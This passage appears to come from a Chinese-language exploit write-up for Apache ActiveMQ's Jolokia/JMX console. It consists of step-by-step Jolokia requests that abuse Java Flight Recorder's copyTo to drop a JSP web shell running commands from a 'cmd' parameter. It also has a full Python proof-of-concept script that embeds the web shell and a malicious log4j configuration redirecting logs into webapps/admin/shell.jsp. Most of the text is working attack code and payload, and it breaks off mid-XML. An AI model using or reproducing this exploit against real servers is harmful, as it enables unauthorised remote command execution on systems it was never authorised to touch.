        <test name=\"memory-profiling\" operator=\"equal\" value=\"all\"/>
      </condition>
      <selection name=\"compiler-level\" default=\"normal\" label=\"Compiler\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Normal\" name=\"normal\">normal</option>
        <option label=\"Detailed\" name=\"detailed\">detailed</option>
        <option label=\"All\" name=\"all\">all</option>
      </selection>
      <condition name=\"compiler-enabled\" true=\"false\" false=\"true\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"off\"/>
      </condition>
      <condition name=\"compiler-enabled-failure\" true=\"true\" false=\"false\">
        <or>
          <test name=\"compiler-level\" operator=\"equal\" value=\"detailed\"/>
          <test name=\"compiler-level\" operator=\"equal\" value=\"all\"/>
        </or>
      </condition>
      <condition name=\"compiler-sweeper-threshold\" true=\"0 ms\" false=\"100 ms\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"all\"/>
      </condition>
      <condition name=\"compiler-compilation-threshold\" true=\"1000 ms\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"normal\"/>
      </condition>
      <condition name=\"compiler-compilation-threshold\" true=\"100 ms\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"detailed\"/>
      </condition>
      <condition name=\"compiler-compilation-threshold\" true=\"0 ms\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"all\"/>
      </condition>
      <condition name=\"compiler-phase-threshold\" true=\"60 s\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"normal\"/>
      </condition>
      <condition name=\"compiler-phase-threshold\" true=\"10 s\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"detailed\"/>
      </condition>
      <condition name=\"compiler-phase-threshold\" true=\"0 s\">
        <test name=\"compiler-level\" operator=\"equal\" value=\"all\"/>
      </condition>
      <selection name=\"method-sampling-interval\" default=\"normal\" label=\"Method Sampling\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Normal\" name=\"normal\">normal</option>
        <option label=\"High\" name=\"high\">high</option>
        <option label=\"Ludicrous (High Overhead)\" name=\"ludicrous\">ludicrous</option>
      </selection>
      
      <condition name=\"method-sampling-java-interval\" true=\"999 d\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"off\"/>
      </condition>
      <condition name=\"method-sampling-java-interval\" true=\"20 ms\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"normal\"/>
      </condition>
      <condition name=\"method-sampling-java-interval\" true=\"10 ms\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"high\"/>
      </condition>
      <condition name=\"method-sampling-java-interval\" true=\"1 ms\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"ludicrous\"/>
      </condition>
      
      <condition name=\"method-sampling-native-interval\" true=\"999 d\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"off\"/>
      </condition>
      <condition name=\"method-sampling-native-interval\" true=\"20 ms\">
        <or>
          <test name=\"method-sampling-interval\" operator=\"equal\" value=\"normal\"/>
          <test name=\"method-sampling-interval\" operator=\"equal\" value=\"high\"/>
          <test name=\"method-sampling-interval\" operator=\"equal\" value=\"ludicrous\"/>
        </or>
      </condition>  
      <condition name=\"method-sampling-enabled\" true=\"false\" false=\"true\">
        <test name=\"method-sampling-interval\" operator=\"equal\" value=\"off\"/>
      </condition>
      <selection name=\"thread-dump-interval\" default=\"normal\" label=\"Thread Dump\">
        <option label=\"Off\" name=\"off\">999 d</option>
        <option label=\"At least Once\" name=\"normal\">everyChunk</option>
        <option label=\"Every 60 s\" name=\"everyMinute\">60 s</option>
        <option label=\"Every 10 s\" name=\"everyTenSecond\">10 s</option>
        <option label=\"Every 1 s\" name=\"everySecond\">1 s</option>
      </selection>
      <condition name=\"thread-dump-enabled\" true=\"false\" false=\"true\">
        <test name=\"thread-dump-interval\" operator=\"equal\" value=\"999 d\"/>
      </condition>
      <selection name=\"exception-level\" default=\"errors\" label=\"Exceptions\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Errors Only\" name=\"errors\">errors</option>
        <option label=\"All Exceptions, including Errors\" name=\"all\">all</option>
      </selection>
      <condition name=\"enable-errors\" true=\"true\" false=\"false\">
        <or>
          <test name=\"exception-level\" operator=\"equal\" value=\"errors\"/>
          <test name=\"exception-level\" operator=\"equal\" value=\"all\"/>
        </or>
      </condition>
      <condition name=\"enable-exceptions\" true=\"true\" false=\"false\">
        <test name=\"exception-level\" operator=\"equal\" value=\"all\"/>
      </condition>
      <selection name=\"memory-leak-detection\" default=\"minimal\" label=\"Memory Leak Detection\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Object Types\" name=\"minimal\">minimal</option>
        <option label=\"Object Types + Allocation Stack Traces\" name=\"medium\">medium</option>
        <option label=\"Object Types + Allocation Stack Traces + Path to GC Root\" name=\"full\">full</option>
      </selection>
      <condition name=\"memory-leak-detection-enabled\" true=\"false\" false=\"true\">
        <test name=\"memory-leak-detection\" operator=\"equal\" value=\"off\"/>
      </condition>
      <condition name=\"memory-leak-detection-stack-trace\" true=\"true\" false=\"false\">
        <or>
          <test name=\"memory-leak-detection\" operator=\"equal\" value=\"medium\"/>
          <test name=\"memory-leak-detection\" operator=\"equal\" value=\"full\"/>
        </or>
      </condition>
      <condition name=\"memory-leak-detection-cutoff\" true=\"1 h\" false=\"0 ns\">
        <test name=\"memory-leak-detection\" operator=\"equal\" value=\"full\"/>
      </condition>
      <text name=\"synchronization-threshold\" label=\"Synchronization Threshold\" contentType=\"timespan\" minimum=\"0 s\">20 ms</text>
      <text name=\"file-io-threshold\" label=\"File I/O Threshold\" contentType=\"timespan\" minimum=\"0 s\">20 ms</text>
      <text name=\"socket-io-threshold\" label=\"Socket I/O Threshold\" contentType=\"timespan\" minimum=\"0 s\">20 ms</text>
      <flag name=\"class-loading-enabled\" label=\"Class Loading\">false</flag>
    </control>
</configuration>"]}
这段是cmd指令回弹,已在报文中,单独提取出来查看使用
(<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>)

第4步,开始录制

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments":[1]}

在这里插入图片描述

第5步,结束录制

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments":[1]}

在这里插入图片描述

第六步,使用copyTo,导出到web目录

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"copyTo","arguments":[1,"./webapps/admin/test.jsp"]}

在这里插入图片描述

至此,shell.jsp已经写入,查看docker容器已写入成功,访问进行命令执行:http://192.168.225.166:8161/admin/test.jsp?cmd=id
在这里插入图片描述

使用poc进行执行访问

py -3 poc.py -u admin -p admin http://192.168.225.166:8161

在这里插入图片描述

poc.py脚本

#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); '
            'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%5p | %m%n"/>
        </Console>
        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" 
            filePattern="${sys:activemq.data}/activemq.log.%i">
            <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
        <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
            <PatternLayout pattern="%-5p | %m | %t%n"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>
        <Logger name="org.apache.activemq.spring" level="WARN"/>
        <Logger name="org.apache.activemq.web.handler" level="WARN"/>
        <Logger name="org.springframework" level="WARN"/>
        <Logger name="org.apache.xbean" level="WARN"/>
        <Logger name="org.eclipse.jetty" level="WARN"/>
        <Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
            <AppenderRef ref="AuditLog"/>
        </Logger>
        <!-- Uncomment and modify as needed for ActiveMQ logger
        <Logger name="org.apache.activemq" level="DEBUG"/>
        -->
    </Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%5p | %m%n"/>
        </Console>
        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp" 
            filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i">
            <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
        <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
            <PatternLayout pattern="%-5p | %m | %t%n"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>
        <Logger name="org.apache.activemq.spring" level="WARN"/>
        <Logger name="org.apache.activemq.web.handler" level="WARN"/>
        <Logger name="org.springframework" level="WARN"/>
        <Logger name="org.apache.xbean" level="WARN"/>
        <Logger name="org.eclipse.jetty" level="DEBUG"/>
        <Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
            <AppenderRef ref="AuditLog"/>
        </Logger>
        <!-- Uncomment and modify as needed for ActiveMQ logger
        <Logger name="org.apache.activemq" level="DEBUG"/>
        -->
    </Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<!--
     Recommended way to edit .jfc files is to use Java Mission Control,
     see Window -> Flight Recorder Template Manager.
-->
<configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle">
    <event name="jdk.ThreadAllocationStatistics">
      <setting name="enabled">true</setting>
      <setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting>
    </event>
    <event name="jdk.ClassLoadingStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>
    <event name="jdk.ClassLoaderStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.JavaThreadStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>
    <event name="jdk.ThreadStart">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ThreadEnd">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.ThreadSleep">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>
    <event name="jdk.ThreadPark">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>
    <event name="jdk.JavaMonitorEnter">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>
    <event name="jdk.JavaMonitorWait">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>
    <event name="jdk.JavaMonitorInflate">
      <setting name="enabled">false</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>
    <event name="jdk.BiasedLockRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.BiasedLockSelfRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.BiasedLockClassRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.ReservedStackActivation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ClassLoad">
      <setting name="enabled" control="class-loading-enabled">false</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.ClassDefine">
      <setting name="enabled" control="class-loading-enabled">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ClassUnload">
      <setting name="enabled" control="class-loading-enabled">false</setting>
    </event>
    <event name="jdk.JVMInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.InitialSystemProperty">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.ExecutionSample">
      <setting name="enabled" control="method-sampling-enabled">true</setting>
      <setting name="period" control="method-sampling-java-interval">20 ms</setting>
    </event>
    <event name="jdk.NativeMethodSample">
      <setting name="enabled" control="method-sampling-enabled">true</setting>
      <setting name="period" control="method-sampling-native-interval">20 ms</setting>
    </event>
    <event name="jdk.SafepointBegin">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.SafepointStateSynchronization">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.SafepointWaitBlocked">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.SafepointCleanup">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.SafepointCleanupTask">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.SafepointEnd">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.ExecuteVMOperation">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.Shutdown">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ThreadDump">
      <setting name="enabled" control="thread-dump-enabled">true</setting>
      <setting name="period" control="thread-dump-interval">everyChunk</setting>
    </event>
    <event name="jdk.IntFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.UnsignedIntFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.LongFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.UnsignedLongFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.DoubleFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.BooleanFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.StringFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.IntFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.UnsignedIntFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.LongFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.UnsignedLongFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.DoubleFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.BooleanFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.StringFlagChanged">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.ObjectCount">
      <setting name="enabled" control="memory-profiling-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.GCConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.GCHeapConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.YoungGenerationConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.GCTLABConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.GCSurvivorConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.ObjectCountAfterGC">
      <setting name="enabled">false</setting>
    </event>
    <event name="jdk.GCHeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.PSHeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1HeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.MetaspaceSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.MetaspaceGCThreshold">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.MetaspaceAllocationFailure">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.MetaspaceOOM">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.MetaspaceChunkFreeListSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.GarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.ParallelOldGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.YoungGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.OldGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.G1GarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhasePause">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhasePauseLevel1">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhasePauseLevel2">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhasePauseLevel3">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhasePauseLevel4">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCPhaseConcurrent">
      <setting name="enabled" control="gc-enabled-all">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.GCReferenceStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.PromotionFailed">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.EvacuationFailed">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.EvacuationInformation">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1MMU">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1EvacuationYoungStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1EvacuationOldStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1BasicIHOP">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1AdaptiveIHOP">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.PromoteObjectInNewPLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
    </event>
    <event name="jdk.PromoteObjectOutsidePLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
    </event>
    <event name="jdk.ConcurrentModeFailure">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.AllocationRequiringGC">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.TenuringDistribution">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>
    <event name="jdk.G1HeapRegionInformation">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.G1HeapRegionTypeChange">
      <setting name="enabled" control="gc-enabled-all">false</setting>
    </event>
    <event name="jdk.ShenandoahHeapRegionInformation">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.ShenandoahHeapRegionStateChange">
      <setting name="enabled" control="gc-enabled-all">false</setting>
    </event>
    <event name="jdk.OldObjectSample">
      <setting name="enabled" control="memory-leak-detection-enabled">true</setting>
      <setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting>
      <setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting>
    </event>
    <event name="jdk.CompilerConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.CompilerStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>
    <event name="jdk.Compilation">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting>
    </event>
    <event name="jdk.CompilerPhase">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-phase-threshold">60 s</setting>
    </event>
    <event name="jdk.CompilationFailure">
      <setting name="enabled" control="compiler-enabled-failure">false</setting>
    </event>
    <event name="jdk.CompilerInlining">
      <setting name="enabled" control="compiler-enabled-failure">false</setting>
    </event>
    <event name="jdk.CodeSweeperConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.CodeSweeperStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.SweepCodeCache">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting>
    </event>
    <event name="jdk.CodeCacheConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.CodeCacheStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.CodeCacheFull">
      <setting name="enabled" control="compiler-enabled">true</setting>
    </event>
    <event name="jdk.OSInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.VirtualizationInformation">
     <setting name="enabled">true</setting>
     <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.CPUInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.ThreadContextSwitchRate">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">10 s</setting>
    </event>
    <event name="jdk.CPULoad">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>
    <event name="jdk.ThreadCPULoad">
      <setting name="enabled">true</setting>
      <setting name="period">10 s</setting>
    </event>
    <event name="jdk.CPUTimeStampCounter">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.SystemProcess">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>
    <event name="jdk.NetworkUtilization">
      <setting name="enabled">true</setting>
      <setting name="period">5 s</setting>
    </event>
    <event name="jdk.InitialEnvironmentVariable">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>
    <event name="jdk.PhysicalMemory">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.ObjectAllocationInNewTLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ObjectAllocationOutsideTLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.NativeLibrary">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>
    <event name="jdk.ModuleRequire">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>
    <event name="jdk.ModuleExport">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>
    <event name="jdk.FileForce">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>
    <event name="jdk.FileRead">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>
    <event name="jdk.FileWrite">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>
    <event name="jdk.SocketRead">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="socket-io-threshold">20 ms</setting>
    </event>
    <event name="jdk.SocketWrite">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="socket-io-threshold">20 ms</setting>
    </event>
    <event name="jdk.SecurityPropertyModification">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.TLSHandshake">
      <setting name="enabled">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.X509Validation">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.X509Certificate">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.JavaExceptionThrow">
      <setting name="enabled" control="enable-exceptions">false</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.JavaErrorThrow">
      <setting name="enabled" control="enable-errors">true</setting>
      <setting name="stackTrace">true</setting>
    </event>
    <event name="jdk.ExceptionStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>
    <event name="jdk.ActiveRecording">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.ActiveSetting">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.DataLoss">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.DumpReason">
      <setting name="enabled">true</setting>
    </event>
    <event name="jdk.ZPageAllocation">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.ZThreadPhase">
      <setting name="enabled">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>
    <event name="jdk.ZStatisticsCounter">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <event name="jdk.ZStatisticsSampler">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>
    <!--
        Contents of the control element is not read by the JVM, it's used
        by Java Mission Control to change settings that carry the control attribute.
    -->
    <control>
      <selection name="gc-level" default="detailed" label="Garbage Collector">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="detailed">normal</option>
        <option label="All" name="all">all</option>
      </selection>
      <condition name="gc-enabled-normal" true="true" false="false">
        <or>
          <test name="gc-level" operator="equal" value="normal"/>
          <test name="gc-level" operator="equal" value="all"/>
        </or>
      </condition>
      <condition name="gc-enabled-all" true="true" false="false">
        <test name="gc-level" operator="equal" value="all"/>
      </condition>
      <selection name="memory-profiling" default="off" label="Memory Profiling">
        <option label="Off" name="off">off</option>
        <option label="Object Allocation and Promotion" name="medium">medium</option>
        <option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option>
      </selection>
      <condition name="memory-profiling-enabled-medium" true="true" false="false">
        <or>
          <test name="memory-profiling" operator="equal" value="medium"/>
          <test name="memory-profiling" operator="equal" value="all"/>
        </or>
      </condition>
      <condition name="memory-profiling-enabled-all" true="true" false="false">
        <test name="memory-profiling" operator="equal" value="all"/>
      </condition>
      <selection name="compiler-level" default="normal" label="Compiler">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="normal">normal</option>
        <option label="Detailed" name="detailed">detailed</option>
        <option label="All" name="all">all</option>
      </selection>
      <condition name="compiler-enabled" true="false" false="true">
        <test name="compiler-level" operator="equal" value="off"/>
      </condition>
      <condition name="compiler-enabled-failure" true="true" false="false">
        <or>
          <test name="compiler-level" operator="equal" value="detailed"/>
          <test name="compiler-level" operator="equal" value="all"/>
        </or>
      </condition>
      <condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>
      <condition name="compiler-compilation-threshold" true="1000 ms">
        <test name="compiler-level" operator="equal" value="normal"/>
      </condition>
